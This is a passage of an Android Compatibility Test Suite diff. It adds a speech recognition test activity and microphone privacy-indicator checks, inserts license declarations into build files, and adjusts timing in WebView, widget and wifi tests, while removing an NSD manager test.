+        setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+
+        // verify that the untrusted app cannot blame the calling app mic access
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+    }
+
+    @Test
+    public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
+        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // is also a preinstalled app. This is a trusted case.
+        boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
+                getComponentPackageNameFromString(mOriginalVoiceRecognizer));
+        assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
+
+        // verify that the trusted app can blame the calling app mic access
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+    }
+
+    private void testVoiceRecognitionServiceBlameCallingApp(boolean trustVoiceService)
+            throws Throwable {
+        // Start SpeechRecognition
+        mActivity.startListening();
+
+        assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+    }
+
+    private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
+        // Open notification and verify the privacy indicator is shown
+        mUiDevice.openNotification();
+        SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+        final UiObject2 privacyChip =
+                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+        assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
+
+        // Click the privacy indicator and verify the calling app name display status in the dialog.
+        privacyChip.click();
+        SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+        final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+        if (trustVoiceService) {
+            // Check trust recognizer can blame calling app mic permission
+            assertWithMessage(
+                    "Trusted voice recognition service can blame the calling app name " + APP_LABEL
+                            + ", but does not find it.").that(
+                    recognitionCallingAppLabel).isNotNull();
+            assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+
+            // Check trust recognizer cannot blame non-mic permission
+            final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
+            assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
+                    .that(cemaraLabel).isNull();
+        } else {
+            assertWithMessage(
+                    "Untrusted voice recognition service cannot blame the calling app name "
+                            + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+        }
+        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
new file mode 100644
index 0000000..66c8c9c
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.speech.RecognizerIntent;
+import android.speech.SpeechRecognizer;
+
+/**
+ * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
+ * to provide the voice recognition functions.
+ */
+public class SpeechRecognitionActivity extends Activity {
+
+    private final String TAG = "SpeechRecognitionActivity";
+
+    private SpeechRecognizer mRecognizer;
+    private Intent mRecognizerIntent;
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+        init();
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (mRecognizer != null) {
+            mRecognizer.destroy();
+            mRecognizer = null;
+        }
+        super.onDestroy();
+    }
+
+    public void startListening() {
+        mHandler.post(() -> {
+            if (mRecognizer != null) {
+                final Intent recognizerIntent =
+                        new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+                recognizerIntent.putExtra(
+                        RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+                mRecognizer.startListening(recognizerIntent);
+            }
+        });
+    }
+
+    private void init() {
+        mHandler = new Handler(getMainLooper());
+        mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+    }
+}
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index c44c539..0f4a568 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsVoiceInteractionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
index 904dce6..e9052de 100644
--- a/tests/tests/voiceinteraction/common/Android.bp
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsVoiceInteractionCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/voiceinteraction/service/Android.bp b/tests/tests/voiceinteraction/service/Android.bp
index 587ed1a..4aee259 100644
--- a/tests/tests/voiceinteraction/service/Android.bp
+++ b/tests/tests/voiceinteraction/service/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVoiceInteractionService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
index fbb4836..bc43563 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/VoiceInteractionTest.java
@@ -45,7 +45,7 @@
 @AppModeFull(reason = "DirectActionsTest is enough")
 public class VoiceInteractionTest extends AbstractVoiceInteractionTestCase {
     static final String TAG = "VoiceInteractionTest";
-    private static final int TIMEOUT_MS = 20 * 1000;
+    private static final int TIMEOUT_MS = 30 * 1000;
 
     private TestStartActivity mTestActivity;
     private TestResultsReceiver mReceiver;
diff --git a/tests/tests/voiceinteraction/testapp/Android.bp b/tests/tests/voiceinteraction/testapp/Android.bp
index 94e1a0e..65db5fb 100644
--- a/tests/tests/voiceinteraction/testapp/Android.bp
+++ b/tests/tests/voiceinteraction/testapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVoiceInteractionApp",
     defaults: ["cts_support_defaults"],
@@ -23,4 +27,4 @@
         "cts",
         "general-tests",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/voicesettings/Android.bp b/tests/tests/voicesettings/Android.bp
index d68dbaf..341a533 100644
--- a/tests/tests/voicesettings/Android.bp
+++ b/tests/tests/voicesettings/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsVoiceSettingsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/voicesettings/service/Android.bp b/tests/tests/voicesettings/service/Android.bp
index 4a514a9..ccbf73d 100644
--- a/tests/tests/voicesettings/service/Android.bp
+++ b/tests/tests/voicesettings/service/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsVoiceSettingsService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/webkit/Android.bp b/tests/tests/webkit/Android.bp
index 13a4cf4..30cb45f 100644
--- a/tests/tests/webkit/Android.bp
+++ b/tests/tests/webkit/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWebkitTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index c0b75e6..9e33a5d 100755
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -23,10 +23,8 @@
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.ContextWrapper;
-import android.content.res.AssetManager;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
-import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Picture;
@@ -1795,26 +1793,22 @@
         final ImageLoaded imageLoaded = new ImageLoaded();
         mOnUiThread.getSettings().setJavaScriptEnabled(true);
         mOnUiThread.addJavascriptInterface(imageLoaded, "imageLoaded");
-        AssetManager assets = getActivity().getAssets();
-        Bitmap bitmap = BitmapFactory.decodeStream(assets.open(TestHtmlConstants.LARGE_IMG_URL));
-        int imgWidth = bitmap.getWidth();
-        int imgHeight = bitmap.getHeight();
 
         startWebServer(false);
         final String imgUrl = mWebServer.getAssetUrl(TestHtmlConstants.LARGE_IMG_URL);
         mOnUiThread.loadDataAndWaitForCompletion(
-                "<html><head><title>Title</title><style type=\"text/css\">"
+                "<html><head><title>Title</title><style type='text/css'>"
                 + "%23imgElement { -webkit-transform: translate3d(0,0,1); }"
                 + "%23imgElement.finish { -webkit-transform: translate3d(0,0,0);"
                 + " -webkit-transition-duration: 1ms; }</style>"
-                + "<script type=\"text/javascript\">function imgLoad() {"
+                + "<script type='text/javascript'>function imgLoad() {"
                 + "imgElement = document.getElementById('imgElement');"
                 + "imgElement.addEventListener('webkitTransitionEnd',"
                 + "function(e) { imageLoaded.loaded(); });"
                 + "imgElement.className = 'finish';}</script>"
-                + "</head><body><img id=\"imgElement\" src=\"" + imgUrl
-                + "\" width=\"" + imgWidth + "\" height=\"" + imgHeight
-                + "\" onLoad=\"imgLoad()\"/></body></html>", "text/html", null);
+                + "</head><body><img id='imgElement' src='" + imgUrl
+                + "' width='100%' height='100%' onLoad='imgLoad()'/>"
+                + "</body></html>", "text/html", null);
         WebkitUtils.waitForFuture(imageLoaded.future());
         getInstrumentation().waitForIdleSync();
 
@@ -1825,12 +1819,13 @@
         // touch the image
         handler.reset();
         int[] location = mOnUiThread.getLocationOnScreen();
+        int middleX = location[0] + mOnUiThread.getWebView().getWidth() / 2;
+        int middleY = location[1] + mOnUiThread.getWebView().getHeight() / 2;
 
         long time = SystemClock.uptimeMillis();
         getInstrumentation().sendPointerSync(
                 MotionEvent.obtain(time, time, MotionEvent.ACTION_DOWN,
-                        location[0] + imgWidth / 2,
-                        location[1] + imgHeight / 2, 0));
+                        middleX, middleY, 0));
         getInstrumentation().waitForIdleSync();
         mOnUiThread.requestImageRef(msg);
         new PollingCheck() {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
index b426764..1eed020 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewZoomTest.java
@@ -328,6 +328,13 @@
             ScaleChangedState state = waitForNextScaleChange();
             assertEquals(currentScale, state.mOldScale);
 
+
+            // Zoom scale changes can come in multiple steps and the initial scale may have
+            // conversion errors. Wait for the first significant scale change.
+            while (Math.abs(state.mNewScale - state.mOldScale) < PAGE_SCALE_EPSILON) {
+                state = waitForNextScaleChange();
+            }
+
             // Check that we zoomed in the expected direction wrt. the current scale.
             if (scaleAmount > 1.0f) {
                 assertThat(
diff --git a/tests/tests/widget/Android.bp b/tests/tests/widget/Android.bp
index 20b79ce..446a204 100644
--- a/tests/tests/widget/Android.bp
+++ b/tests/tests/widget/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWidgetTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index c30c71c..85d4fc8 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -291,7 +291,7 @@
         </activity>
 
         <activity android:name="android.widget.cts.PopupWindowCtsActivity"
-            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:configChanges="keyboardHidden|orientation|screenSize|smallestScreenSize|screenLayout"
             android:label="PopupWindowCtsActivity"
             android:theme="@style/Theme.PopupWindowCtsActivity">
             <intent-filter>
diff --git a/tests/tests/widget/app/Android.bp b/tests/tests/widget/app/Android.bp
index 0ecbb72..461fd11 100644
--- a/tests/tests/widget/app/Android.bp
+++ b/tests/tests/widget/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWidgetApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 8bd31e9..148e6a8 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -278,8 +278,9 @@
         } else {
             // On narrow screens, it's possible for the popup to reach the edge
             // of the screen.
-            int rightmostX =
-                    getDisplay().getWidth() - mPopupWindow.getWidth() + listViewInWindowXY[0];
+            final int displayWidth =
+                        mActivity.getWindowManager().getMaximumWindowMetrics().getBounds().width();
+            final int rightmostX = displayWidth - mPopupWindow.getWidth() + listViewInWindowXY[0];
             if (expectedListViewOnScreenX > rightmostX) {
                 expectedListViewOnScreenX = rightmostX;
             }
diff --git a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
index 3c4192c..c07d6f3 100644
--- a/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SpinnerTest.java
@@ -67,6 +67,7 @@
     private Activity mActivity;
     private Spinner mSpinnerDialogMode;
     private Spinner mSpinnerDropdownMode;
+    private static final int SPINNER_HAS_FOCUS_DELAY_MS = 500;
 
     @Rule
     public ActivityTestRule<SpinnerCtsActivity> mActivityRule =
@@ -402,7 +403,7 @@
         TestUtils.assertAllPixelsOfColor("Drop down should be blue", dropDownBackground,
                 dropDownBackground.getBounds().width(), dropDownBackground.getBounds().height(),
                 false, Color.BLUE, 1, true);
-
+        waitForHasFocusMS(SPINNER_HAS_FOCUS_DELAY_MS);
         // Dismiss the popup with the emulated back key
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
         // Verify that we're not showing the popup
@@ -461,4 +462,13 @@
         // And test that getPopupBackground returns null
         assertNull(mSpinnerDialogMode.getPopupBackground());
     }
+
+    private void waitForHasFocusMS(int milliseconds) {
+        try {
+            Thread.sleep(milliseconds);
+        } catch (InterruptedException e) {
+            fail("unexpected InterruptedException : "+ e);
+        }
+
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index ab81b26..01ecbdb 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -16,6 +16,7 @@
 
 package android.widget.cts;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -28,6 +29,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.app.ActivityOptions;
 import android.app.UiAutomation;
 import android.app.UiAutomation.AccessibilityEventFilter;
 import android.content.BroadcastReceiver;
@@ -729,7 +731,11 @@
         Intent intent = new Intent();
         intent.setComponent(COMPONENT_TRANSLUCENT_ACTIVITY);
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
+        // Launch the translucent activity in fullscreen to ensure the test activity won't resume
+        // even on the freeform-first multi-window device.
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+        mContext.startActivity(intent, options.toBundle());
         activityStarted.block();
         makeCustomToast();
         View view = mToast.getView();
diff --git a/tests/tests/widget29/Android.bp b/tests/tests/widget29/Android.bp
index b2c26af..08945ca 100644
--- a/tests/tests/widget29/Android.bp
+++ b/tests/tests/widget29/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWidgetTestCases29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index ed8daba..895527d 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWifiTestCases",
     defaults: ["cts_defaults"],
@@ -24,13 +28,14 @@
     ],
 
     srcs: [ "src/**/*.java" ],
-
+    jarjar_rules: "jarjar-rules.txt",
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "junit",
         "junit-params",
+        "net-utils-framework-common",
         "truth-prebuilt",
     ],
 
@@ -38,6 +43,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
 
 
diff --git a/tests/tests/wifi/AndroidTest.xml b/tests/tests/wifi/AndroidTest.xml
index 4c6d2f4..518053c 100644
--- a/tests/tests/wifi/AndroidTest.xml
+++ b/tests/tests/wifi/AndroidTest.xml
@@ -36,6 +36,8 @@
         <option name="package" value="android.net.wifi.cts" />
         <option name="hidden-api-checks" value="false" />
         <option name="isolated-storage" value="false" />
+        <!-- testWifiScanTimestamp can take longer than the default 300s -->
+        <option name="test-timeout" value="3500000" />
     </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index bc239fa..69f1403 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsWifiLocationTestApp",
 
diff --git a/tests/tests/wifi/jarjar-rules.txt b/tests/tests/wifi/jarjar-rules.txt
new file mode 100644
index 0000000..def4a78
--- /dev/null
+++ b/tests/tests/wifi/jarjar-rules.txt
@@ -0,0 +1,3 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.wifi.util.@1
+
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
index 0adf3b9..8502db1 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConnectedNetworkScorerTest.java
@@ -31,6 +31,7 @@
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiUsabilityStatsEntry;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
 import android.telephony.TelephonyManager;
@@ -40,6 +41,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -158,6 +160,10 @@
      */
     @Test
     public void testWifiUsabilityStatsEntry() throws Exception {
+        // Usability stats collection only supported by vendor version Q and above.
+        if (!PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)) {
+            return;
+        }
         CountDownLatch countDownLatch = new CountDownLatch(1);
         UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
         TestUsabilityStatsListener usabilityStatsListener =
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
index 07256a3..e0768d9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
@@ -41,7 +41,7 @@
 public class EasyConnectStatusCallbackTest extends WifiJUnit3TestBase {
     private static final String TEST_SSID = "\"testSsid\"";
     private static final String TEST_PASSPHRASE = "\"testPassword\"";
-    private static final int TEST_WAIT_DURATION_MS = 12_000; // Long delay is necessary, see below
+    private static final int TEST_WAIT_DURATION_MS = 22_000; // Long delay is necessary, see below
     private WifiManager mWifiManager;
     private static final String TEST_DPP_URI =
             "DPP:C:81/1,117/40;I:Easy_Connect_Demo;M:000102030405;"
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
-    private static final String TAG = "NsdManagerTest";
-    private static final String SERVICE_TYPE = "_nmt._tcp";
-    private static final int TIMEOUT = 2000;
-
-    private static final boolean DBG = false;
-
-    NsdManager mNsdManager;
-
-    NsdManager.RegistrationListener mRegistrationListener;
-    NsdManager.DiscoveryListener mDiscoveryListener;
-    NsdManager.ResolveListener mResolveListener;
-    private NsdServiceInfo mResolvedService;
-
-    public NsdManagerTest() {
-        initRegistrationListener();
-        initDiscoveryListener();
-        initResolveListener();
-    }
-
-    private void initRegistrationListener() {
-        mRegistrationListener = new NsdManager.RegistrationListener() {
-            @Override
-            public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onRegistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onUnregistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceRegistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceRegistered", serviceInfo);
-            }
-
-            @Override
-            public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceUnregistered", serviceInfo);
-            }
-        };
-    }
-
-    private void initDiscoveryListener() {
-        mDiscoveryListener = new NsdManager.DiscoveryListener() {
-            @Override
-            public void onStartDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStartDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onStopDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStopDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onDiscoveryStarted(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStarted", info);
-            }
-
-            @Override
-            public void onDiscoveryStopped(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStopped", info);
-            }
-
-            @Override
-            public void onServiceFound(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceFound", serviceInfo);
-            }
-
-            @Override
-            public void onServiceLost(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceLost", serviceInfo);
-            }
-        };
-    }
-
-    private void initResolveListener() {
-        mResolveListener = new NsdManager.ResolveListener() {
-            @Override
-            public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onResolveFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceResolved(NsdServiceInfo serviceInfo) {
-                mResolvedService = serviceInfo;
-                setEvent("onServiceResolved", serviceInfo);
-            }
-        };
-    }
-
-
-
-    private final class EventData {
-        EventData(String callbackName, NsdServiceInfo info) {
-            mCallbackName = callbackName;
-            mSucceeded = true;
-            mErrorCode = 0;
-            mInfo = info;
-        }
-        EventData(String callbackName, int errorCode) {
-            mCallbackName = callbackName;
-            mSucceeded = false;
-            mErrorCode = errorCode;
-            mInfo = null;
-        }
-        private final String mCallbackName;
-        private final boolean mSucceeded;
-        private final int mErrorCode;
-        private final NsdServiceInfo mInfo;
-    }
-
-    private final List<EventData> mEventCache = new ArrayList<EventData>();
-
-    private void setEvent(String callbackName, int errorCode) {
-        if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
-        EventData eventData = new EventData(callbackName, errorCode);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    private void setEvent(String callbackName, NsdServiceInfo info) {
-        if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
-        EventData eventData = new EventData(callbackName, info);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    void clearEventCache() {
-        synchronized(mEventCache) {
-            mEventCache.clear();
-        }
-    }
-
-    int eventCacheSize() {
-        synchronized(mEventCache) {
-            return mEventCache.size();
-        }
-    }
-
-    private int mWaitId = 0;
-    private EventData waitForCallback(String callbackName) {
-
-        synchronized(mEventCache) {
-
-            mWaitId ++;
-            if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
-            try {
-                long startTime = android.os.SystemClock.uptimeMillis();
-                long elapsedTime = 0;
-                int index = 0;
-                while (elapsedTime < TIMEOUT ) {
-                    // first check if we've received that event
-                    for (; index < mEventCache.size(); index++) {
-                        EventData e = mEventCache.get(index);
-                        if (e.mCallbackName.equals(callbackName)) {
-                            if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
-                            return e;
-                        }
-                    }
-
-                    // Not yet received, just wait
-                    mEventCache.wait(TIMEOUT - elapsedTime);
-                    elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-                }
-                // we exited the loop because of TIMEOUT; fail the call
-                if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
-                return null;
-            } catch (InterruptedException e) {
-                return null;                       // wait timed out!
-            }
-        }
-    }
-
-    private EventData waitForNewEvents() throws InterruptedException {
-        if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
-        long startTime = android.os.SystemClock.uptimeMillis();
-        long elapsedTime = 0;
-        synchronized (mEventCache) {
-            int index = mEventCache.size();
-            while (elapsedTime < TIMEOUT ) {
-                // first check if we've received that event
-                for (; index < mEventCache.size(); index++) {
-                    EventData e = mEventCache.get(index);
-                    return e;
-                }
-
-                // Not yet received, just wait
-                mEventCache.wait(TIMEOUT - elapsedTime);
-                elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-            }
-        }
-
-        return null;
-    }
-
-    private String mServiceName;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (DBG) Log.d(TAG, "Setup test ...");
-        mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
-        Random rand = new Random();
-        mServiceName = new String("NsdTest");
-        for (int i = 0; i < 4; i++) {
-            mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (DBG) Log.d(TAG, "Tear down test ...");
-        super.tearDown();
-    }
-
